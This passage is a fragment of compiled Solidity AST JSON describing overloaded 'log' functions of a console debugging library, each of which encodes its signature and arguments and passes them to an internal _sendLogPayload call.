,{"constant":false,"id":18362,"mutability":"mutable","name":"p3","nameLocation":"22874:2:14","nodeType":"VariableDeclaration","scope":18377,"src":"22869:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18361,"name":"bool","nodeType":"ElementaryTypeName","src":"22869:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22823:54:14"},"returnParameters":{"id":18364,"nodeType":"ParameterList","parameters":[],"src":"22892:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18400,"nodeType":"FunctionDefinition","src":"23003:192:14","nodes":[],"body":{"id":18399,"nodeType":"Block","src":"23087:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c737472696e672c6164647265737329","id":18391,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23137:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cc988aa0514d1ed8be70a6bf2bdff4972e3f3420811b4adbd40f9b75b873fded","typeString":"literal_string \"log(uint,string,string,address)\""},"value":"log(uint,string,string,address)"},{"id":18392,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18379,"src":"23172:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18393,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18381,"src":"23176:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18394,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18383,"src":"23180:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18395,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18385,"src":"23184:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cc988aa0514d1ed8be70a6bf2bdff4972e3f3420811b4adbd40f9b75b873fded","typeString":"literal_string \"log(uint,string,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18389,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23113:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18390,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23117:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23113:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23113:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18388,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"23097:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18397,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23097:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18398,"nodeType":"ExpressionStatement","src":"23097:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23012:3:14","parameters":{"id":18386,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18379,"mutability":"mutable","name":"p0","nameLocation":"23021:2:14","nodeType":"VariableDeclaration","scope":18400,"src":"23016:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18378,"name":"uint","nodeType":"ElementaryTypeName","src":"23016:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18381,"mutability":"mutable","name":"p1","nameLocation":"23039:2:14","nodeType":"VariableDeclaration","scope":18400,"src":"23025:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18380,"name":"string","nodeType":"ElementaryTypeName","src":"23025:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18383,"mutability":"mutable","name":"p2","nameLocation":"23057:2:14","nodeType":"VariableDeclaration","scope":18400,"src":"23043:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18382,"name":"string","nodeType":"ElementaryTypeName","src":"23043:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18385,"mutability":"mutable","name":"p3","nameLocation":"23069:2:14","nodeType":"VariableDeclaration","scope":18400,"src":"23061:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18384,"name":"address","nodeType":"ElementaryTypeName","src":"23061:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"23015:57:14"},"returnParameters":{"id":18387,"nodeType":"ParameterList","parameters":[],"src":"23087:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18423,"nodeType":"FunctionDefinition","src":"23201:175:14","nodes":[],"body":{"id":18422,"nodeType":"Block","src":"23273:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c626f6f6c2c75696e7429","id":18414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23323:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a4b48a7f4bdefee99950b35e5da7ba9724c3954e445cc3077000bce7a4265081","typeString":"literal_string \"log(uint,string,bool,uint)\""},"value":"log(uint,string,bool,uint)"},{"id":18415,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18402,"src":"23353:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18416,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18404,"src":"23357:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18417,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18406,"src":"23361:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18418,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18408,"src":"23365:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a4b48a7f4bdefee99950b35e5da7ba9724c3954e445cc3077000bce7a4265081","typeString":"literal_string \"log(uint,string,bool,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18412,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23299:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23303:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23299:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18419,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23299:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18411,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"23283:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23283:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18421,"nodeType":"ExpressionStatement","src":"23283:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23210:3:14","parameters":{"id":18409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18402,"mutability":"mutable","name":"p0","nameLocation":"23219:2:14","nodeType":"VariableDeclaration","scope":18423,"src":"23214:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18401,"name":"uint","nodeType":"ElementaryTypeName","src":"23214:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18404,"mutability":"mutable","name":"p1","nameLocation":"23237:2:14","nodeType":"VariableDeclaration","scope":18423,"src":"23223:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18403,"name":"string","nodeType":"ElementaryTypeName","src":"23223:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18406,"mutability":"mutable","name":"p2","nameLocation":"23246:2:14","nodeType":"VariableDeclaration","scope":18423,"src":"23241:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18405,"name":"bool","nodeType":"ElementaryTypeName","src":"23241:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18408,"mutability":"mutable","name":"p3","nameLocation":"23255:2:14","nodeType":"VariableDeclaration","scope":18423,"src":"23250:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18407,"name":"uint","nodeType":"ElementaryTypeName","src":"23250:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23213:45:14"},"returnParameters":{"id":18410,"nodeType":"ParameterList","parameters":[],"src":"23273:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18446,"nodeType":"FunctionDefinition","src":"23382:186:14","nodes":[],"body":{"id":18445,"nodeType":"Block","src":"23463:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c626f6f6c2c737472696e6729","id":18437,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23513:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8d489ca064b1083bafb8388fd8f3d44c2255dbe322f7a52abe786a76257d06e4","typeString":"literal_string \"log(uint,string,bool,string)\""},"value":"log(uint,string,bool,string)"},{"id":18438,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18425,"src":"23545:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18439,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18427,"src":"23549:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18440,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18429,"src":"23553:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18441,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18431,"src":"23557:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8d489ca064b1083bafb8388fd8f3d44c2255dbe322f7a52abe786a76257d06e4","typeString":"literal_string \"log(uint,string,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18435,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23489:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18436,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23493:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23489:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23489:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18434,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"23473:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18443,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23473:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18444,"nodeType":"ExpressionStatement","src":"23473:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23391:3:14","parameters":{"id":18432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18425,"mutability":"mutable","name":"p0","nameLocation":"23400:2:14","nodeType":"VariableDeclaration","scope":18446,"src":"23395:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18424,"name":"uint","nodeType":"ElementaryTypeName","src":"23395:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18427,"mutability":"mutable","name":"p1","nameLocation":"23418:2:14","nodeType":"VariableDeclaration","scope":18446,"src":"23404:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18426,"name":"string","nodeType":"ElementaryTypeName","src":"23404:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18429,"mutability":"mutable","name":"p2","nameLocation":"23427:2:14","nodeType":"VariableDeclaration","scope":18446,"src":"23422:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18428,"name":"bool","nodeType":"ElementaryTypeName","src":"23422:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18431,"mutability":"mutable","name":"p3","nameLocation":"23445:2:14","nodeType":"VariableDeclaration","scope":18446,"src":"23431:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18430,"name":"string","nodeType":"ElementaryTypeName","src":"23431:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23394:54:14"},"returnParameters":{"id":18433,"nodeType":"ParameterList","parameters":[],"src":"23463:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18469,"nodeType":"FunctionDefinition","src":"23574:175:14","nodes":[],"body":{"id":18468,"nodeType":"Block","src":"23646:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c626f6f6c2c626f6f6c29","id":18460,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23696:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_51bc2bc161debf765eefa84d88e06440adeb87045d559377a9edb97406168b2a","typeString":"literal_string \"log(uint,string,bool,bool)\""},"value":"log(uint,string,bool,bool)"},{"id":18461,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18448,"src":"23726:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18462,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18450,"src":"23730:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18463,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18452,"src":"23734:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18464,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18454,"src":"23738:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_51bc2bc161debf765eefa84d88e06440adeb87045d559377a9edb97406168b2a","typeString":"literal_string \"log(uint,string,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18458,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23672:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18459,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23676:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23672:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18465,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23672:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18457,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"23656:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23656:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18467,"nodeType":"ExpressionStatement","src":"23656:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23583:3:14","parameters":{"id":18455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18448,"mutability":"mutable","name":"p0","nameLocation":"23592:2:14","nodeType":"VariableDeclaration","scope":18469,"src":"23587:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18447,"name":"uint","nodeType":"ElementaryTypeName","src":"23587:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18450,"mutability":"mutable","name":"p1","nameLocation":"23610:2:14","nodeType":"VariableDeclaration","scope":18469,"src":"23596:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18449,"name":"string","nodeType":"ElementaryTypeName","src":"23596:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18452,"mutability":"mutable","name":"p2","nameLocation":"23619:2:14","nodeType":"VariableDeclaration","scope":18469,"src":"23614:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18451,"name":"bool","nodeType":"ElementaryTypeName","src":"23614:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18454,"mutability":"mutable","name":"p3","nameLocation":"23628:2:14","nodeType":"VariableDeclaration","scope":18469,"src":"23623:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18453,"name":"bool","nodeType":"ElementaryTypeName","src":"23623:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"23586:45:14"},"returnParameters":{"id":18456,"nodeType":"ParameterList","parameters":[],"src":"23646:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18492,"nodeType":"FunctionDefinition","src":"23755:181:14","nodes":[],"body":{"id":18491,"nodeType":"Block","src":"23830:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c626f6f6c2c6164647265737329","id":18483,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23880:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_796f28a06ededa438107c0866560412d4d4337e29da4c7300f50c49a73c18829","typeString":"literal_string \"log(uint,string,bool,address)\""},"value":"log(uint,string,bool,address)"},{"id":18484,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18471,"src":"23913:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18485,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18473,"src":"23917:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18486,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18475,"src":"23921:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18487,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18477,"src":"23925:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_796f28a06ededa438107c0866560412d4d4337e29da4c7300f50c49a73c18829","typeString":"literal_string \"log(uint,string,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18481,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23856:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18482,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23860:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23856:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23856:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18480,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"23840:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23840:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18490,"nodeType":"ExpressionStatement","src":"23840:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23764:3:14","parameters":{"id":18478,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18471,"mutability":"mutable","name":"p0","nameLocation":"23773:2:14","nodeType":"VariableDeclaration","scope":18492,"src":"23768:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18470,"name":"uint","nodeType":"ElementaryTypeName","src":"23768:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18473,"mutability":"mutable","name":"p1","nameLocation":"23791:2:14","nodeType":"VariableDeclaration","scope":18492,"src":"23777:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18472,"name":"string","nodeType":"ElementaryTypeName","src":"23777:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18475,"mutability":"mutable","name":"p2","nameLocation":"23800:2:14","nodeType":"VariableDeclaration","scope":18492,"src":"23795:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18474,"name":"bool","nodeType":"ElementaryTypeName","src":"23795:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18477,"mutability":"mutable","name":"p3","nameLocation":"23812:2:14","nodeType":"VariableDeclaration","scope":18492,"src":"23804:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18476,"name":"address","nodeType":"ElementaryTypeName","src":"23804:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"23767:48:14"},"returnParameters":{"id":18479,"nodeType":"ParameterList","parameters":[],"src":"23830:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18515,"nodeType":"FunctionDefinition","src":"23942:181:14","nodes":[],"body":{"id":18514,"nodeType":"Block","src":"24017:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c616464726573732c75696e7429","id":18506,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24067:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_98e7f3f3a2c39a91982b0a3ae7f29043579abd563fc10531c052f92c3317af43","typeString":"literal_string \"log(uint,string,address,uint)\""},"value":"log(uint,string,address,uint)"},{"id":18507,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18494,"src":"24100:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18508,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18496,"src":"24104:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18509,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18498,"src":"24108:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18510,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18500,"src":"24112:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_98e7f3f3a2c39a91982b0a3ae7f29043579abd563fc10531c052f92c3317af43","typeString":"literal_string \"log(uint,string,address,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 